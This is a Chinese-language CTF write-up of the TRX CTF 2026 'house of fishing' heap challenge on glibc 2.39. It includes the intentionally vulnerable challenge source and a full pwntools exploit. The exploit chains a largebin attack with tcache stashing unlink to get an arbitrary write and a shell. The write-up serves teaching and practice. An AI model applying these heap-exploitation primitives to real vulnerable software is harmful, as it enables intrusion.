[原创]trx ctf 2026 house of fishing
文章首发于看雪论坛 [原创]trx ctf 2026 house of fishing 参考文献TRX CTF 2026 house-of-fishing Writeup · rawpayload前言看了一下 trxctf 2026 的堆题,这题看上去很简单,只需要一个任意地址写将 *admin 修改成目标的地址即可触发后门函数,从而getshell,但是程序没有 show() 功能,因此无法通过
文章首发于看雪论坛 [原创]trx ctf 2026 house of fishing
参考文献
TRX CTF 2026 house-of-fishing Writeup · rawpayload
前言
看了一下 trxctf 2026 的堆题,这题看上去很简单,只需要一个任意地址写将 *admin 修改成目标的地址即可触发后门函数,从而getshell,但是程序没有 show() 功能,因此无法通过修改fd之类的方式污染 bins,故而我们需要别的方法劫持堆,在刚开始做的时候没想出来怎么打,后面看了一眼官方的wp,自己整理了一下
文件
题目给了一个elf文件,一个程序源码和docker file,查看docker file可以得知采用的是 glibc 2.39-0ubuntu8.5 版本的glibc
查询程序保护如下:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No可以看到是一个很典型的 heap 的保护,保护几乎开满了
程序源码分析
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#define min(a, b) ((a) < (b) ? (a) : (b))
#define PTRS_SIZE 0x100
#define SIZE_CAP 0x500
void* ptrs[PTRS_SIZE] = {0};
int sizes[PTRS_SIZE] = {0};
unsigned long* admin = NULL;
void print_banner() {
printf("🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣\n");
printf("🎣.__ _____ ___________.__ .__ .__ 🎣\n");
printf("🎣| |__ ____ __ __ ______ ____ _____/ ____\\ \\_ _____/|__| _____| |__ |__| ____ ____ 🎣\n");
printf("🎣| | \\ / _ \\| | \\/ ___// __ \\ / _ \\ __\\ | __) | |/ ___/ | \\| |/ \\ / ___\\ 🎣\n");
printf("🎣| Y ( <_> ) | /\\___ \\\\ ___/ ( <_> ) | | \\ | |\\___ \\| Y \\ | | \\/ /_/ >🎣\n");
printf("🎣|___| /\\____/|____//____ >\\___ > \\____/|__| \\___ / |__/____ >___| /__|___| /\\___ / 🎣\n");
printf("🎣 \\/ \\/ \\/ \\/ \\/ \\/ \\//_____/ 🎣\n");
printf("🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣🎣\n");
}
void setup() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
admin = (unsigned long*) mmap((void*) 0x1337000, 8, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANON, -1, 0);
print_banner();
}
void menu() {
puts("1) create");
puts("2) update");
puts("3) delete");
puts("4) copy");
printf("enter your choice: ");
}
int get_choice() {
unsigned int choice = 0;
scanf("%d%*c", &choice);
return choice;
}
void die(char* msg) {
printf("wrong %s\n", msg);
exit(-1);
}
unsigned int get_idx() {
unsigned int idx;
printf("enter index: ");
idx = get_choice();
if (idx >= PTRS_SIZE)
die("index");
return idx;
}
unsigned int get_size() {
unsigned int size;
printf("enter size: ");
size = get_choice();
size += 0xf;
size /= 0x10;
size *= 0x10;
if (size >= SIZE_CAP)
die("size");
return size;
}
void read_exactly(int fd, char* ptr, int size) {
for (int i=0; i<size; i++)
read(fd, ptr+i, 1);
}
void create() {
unsigned int idx;
unsigned int size;
void* ptr;
idx = get_idx();
size = get_size();
ptr = malloc(size);
printf("allocated size: %d\n", size);
ptrs[idx] = ptr;
sizes[idx] = size;
}
void update() {
unsigned int idx;
idx = get_idx();
printf("enter %d bytes: ", sizes[idx]);
read_exactly(STDIN_FILENO, ptrs[idx], sizes[idx]);
}
void delete() {
unsigned int idx;
idx = get_idx();
free(ptrs[idx]);
}
void win() {
if (*admin == 0xdeadbeefdeadcafe) {
puts("good boy");
system("/bin/sh");
} else
die("admin");
}
void copy() {
unsigned int dest;
unsigned int src;
dest = get_idx();
src = get_idx();
memcpy(ptrs[dest], ptrs[src], min(sizes[dest], sizes[src]));
}
int main(int argc, char** argv) {
unsigned int choice = 0;
setup();
while(1) {
menu();
choice = get_choice();
switch(choice) {
case 1:
create();
break;
case 2:
update();
break;
case 3:
delete();
break;
case 4:
copy();
break;
case 5:
win();
break;
default:
puts("invalid choice");
break;
}
}
return 0;
}可以看到非常经典的heap题,存在 增删写 的功能,但是就是没有读,这就导致了实现任意地址写的方法变得麻烦起来了,一些常规的任意地址写的手法就无法生效了。
create
可以看到能够申请 size 值满足 16字节对齐 且 小于 0x500 的chunk
win
当 *admin == 0xdeadbeefdeadcafe 时即可触发 system("/bin/sh") 从而直接拿到shell,因此这题虽然是高版本的堆题目,但是却不需要打IO,只需要实现任意地址写即可getshell
攻击思路
首先没有 show() 我们无法直接修改fd指针,那么我们有什么方法可以在不泄露堆地址的情况下将fake chunk放入tcache呢?这时候 tcache_stashing_unlink 就派上了用场,改攻击手法能将smallbin chunk放入tcache中,同时因为 smallbin chunk的 bk 指针没有 safe linking 保护,因此我们可以直接将其修改成 目标地址 - 0x10 然后打 tcach_stashing_unlink 即可将目标地址放入 tcache 中。
由于 malloc 源码中存在如下的代码:
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last(bin)) != bin)
{
// 将bin中chunk脱离,然后放入cache中
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset(tc_victim, nb);
if (av != &main_arena)
set_non_main_arena(tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put(tc_victim, tc_idx);
}
}他会检测你取出的chunk的bk是否为有效指针,因此如果直接打 tcache_stashing_unlink 则会因此而无法走到 tcache_put(tc_victim, tc_idx); 这一步,因此我们需要提前利用 largebin attack 将一个有效的堆地址写入 fake chunk->bk 处,从而实现对应的攻击
攻击顺序
提前构造好bins
因为要打 tcache_stashing_unlink 我们需要在一开始就直接构建好 smallbin chunk,防止后面再构造时出现问题,同时提前构造 smallbin 也可以不让堆结构变得特别乱
for i in range(7):
malloc(i, 0x90) # tcache
for i in range(6):
malloc(10 + i, 0x90) # 构建smallbin
malloc(20 + 1, 0x20) # 防止free时被合并
for i in range(7):
free(i) # fill tcache
for i in range(6):
free(10 + i)
malloc(30, 0x490) # 触发,将前面free的unsortedbin chunk放入smallbin中此时bin的结构如图
可以看到成功将6个0xa0的 chunk 放入 smallbin 中。
largebin attack
此时我们需要调用largebin attack,在 *(admin + 8) 处的地址写入一个堆地址,从而防止后续 tcache_stashing_unlink 时出现错误
admin = 0x1337000
malloc(40, 0x420) # p1
malloc(41, 0x400)
malloc(42, 0x410) # p2
malloc(43, 0x400)
free(40)
malloc(44, 0x430) # p3
free(42)
payload = flat({
0x08: admin - 0x10 + 0x100,
0x18: admin - 0x20 + 0x8
}, filler = b"\x00", length = 0x420)
edit(40, payload)
malloc(45, 0x430)
malloc(46, 0x3d0) # 在官方wp中加入了这句,但是在我本地的测试情况下,这句加不加都不影响最终getshell,对于官方为什么加这句我有点不李姐,希望有大佬能够指点一二最终能够发现成功将一个堆地址写入了 admin + 0x08 处的地址
tcache stashing unlink
接下来打 tcache_stashing_unlink 将 smallbin中的chunk放入tcache中
# Step.3 tcache stashing unlink
for i in range(7): malloc(i, 0x90)
payload = flat({
0x08: admin - 0x10
}, filler = b"\x00", length = 0x90)
edit(15, payload)
malloc(50, 0x90)
malloc(51, 0x90)
malloc(52, 0x90)在执行完 malloc(50, 0x90) 后在这里下断点调试,查看 tcache,如下图
可以看到 admin的地址被成功写入了tcache中,接下来就只需要将其取出,然后利用edit对其进行修改即可
getshell
payload = flat({
0x00: 0xdeadbeefdeadcafe
}, filler = b"\x00", length = 0x90)
edit(52, payload)
menu(5)最终运行发现能getshell
exp
最终完整的exp如下:
from pwn import *
context(arch = "amd64", os = "linux", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
io = process("./chall")
#io = remote("challenge-1935be88449b9231.sandbox.ctfhub.com", 27347)#nc challenge-1935be88449b9231.sandbox.ctfhub.com 27347
elf = ELF("./chall")
libc = ELF("./libc.so.6")
#--------------------
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ru = lambda x : io.recvuntil(x)
r = lambda x : io.recv(x)
sla = lambda x, data : io.sendlineafter(x, data)
inter = lambda : io.interactive()
rl = lambda a = False : io.recvline(a)
sa = lambda x, data : io.sendafter(x, data)
def menu(x):
sla(b"enter your choice: ", str(x).encode())
def malloc(idx, size):
menu(1)
sla(b"enter index: ", str(idx).encode())
sla(b"enter size: ", str(size).encode())
def edit(idx, data):
menu(2)
sla(b"enter index: ", str(idx).encode())
sa(b"bytes: ", data)
def free(idx):
menu(3)
sla(b"enter index: ", str(idx).encode())
def debug():
gdb.attach(io)
pause()
# Step.1 prepare chunks
for i in range(7):
malloc(i, 0x90) # tcache
for i in range(6):
malloc(10 + i, 0x90) # 构建smallbin
malloc(20 + 1, 0x20) # 防止free时被合并
for i in range(7):
free(i)
for i in range(6):
free(10 + i)
malloc(30, 0x490)
#debug()
# Step.2 largebin attack
admin = 0x1337000
malloc(40, 0x420) # p1
malloc(41, 0x400)
malloc(42, 0x410) # p2
malloc(43, 0x400)
free(40)
malloc(44, 0x430) # p3
free(42)
payload = flat({
0x08: admin - 0x10 + 0x100,
0x18: admin - 0x20 + 0x8
}, filler = b"\x00", length = 0x420)
edit(40, payload)
malloc(45, 0x430)
#malloc(46, 0x3d0)
#debug()
# Step.3 tcache stashing unlink
for i in range(7): malloc(i, 0x90)
payload = flat({
0x08: admin - 0x10
}, filler = b"\x00", length = 0x90)
edit(15, payload)
#debug()
malloc(50, 0x90)
#debug()
malloc(51, 0x90)
malloc(52, 0x90)
# get shell
payload = flat({
0x00: 0xdeadbeefdeadcafe
}, filler = b"\x00", length = 0x90)
edit(52, payload)
menu(5)
#debug()
inter()总结
这道题的运用十分巧妙,考察了我们在没有 show 功能的情况下如何实现任意地址写,将一个 chunk 放入 tcache 中,这里需要我们熟练掌握并能够运用各种堆攻击手法,将其组合使用,从而构造优质原语,从而达到你的目的。同时这题是一个 house of water 的变体,本题不再向 tcache 线程结构体写入,而是向一块固定的 mmap 映射目标地址写入。至于为什么要叫house of fishing算是出题人在玩梗吧。hhhh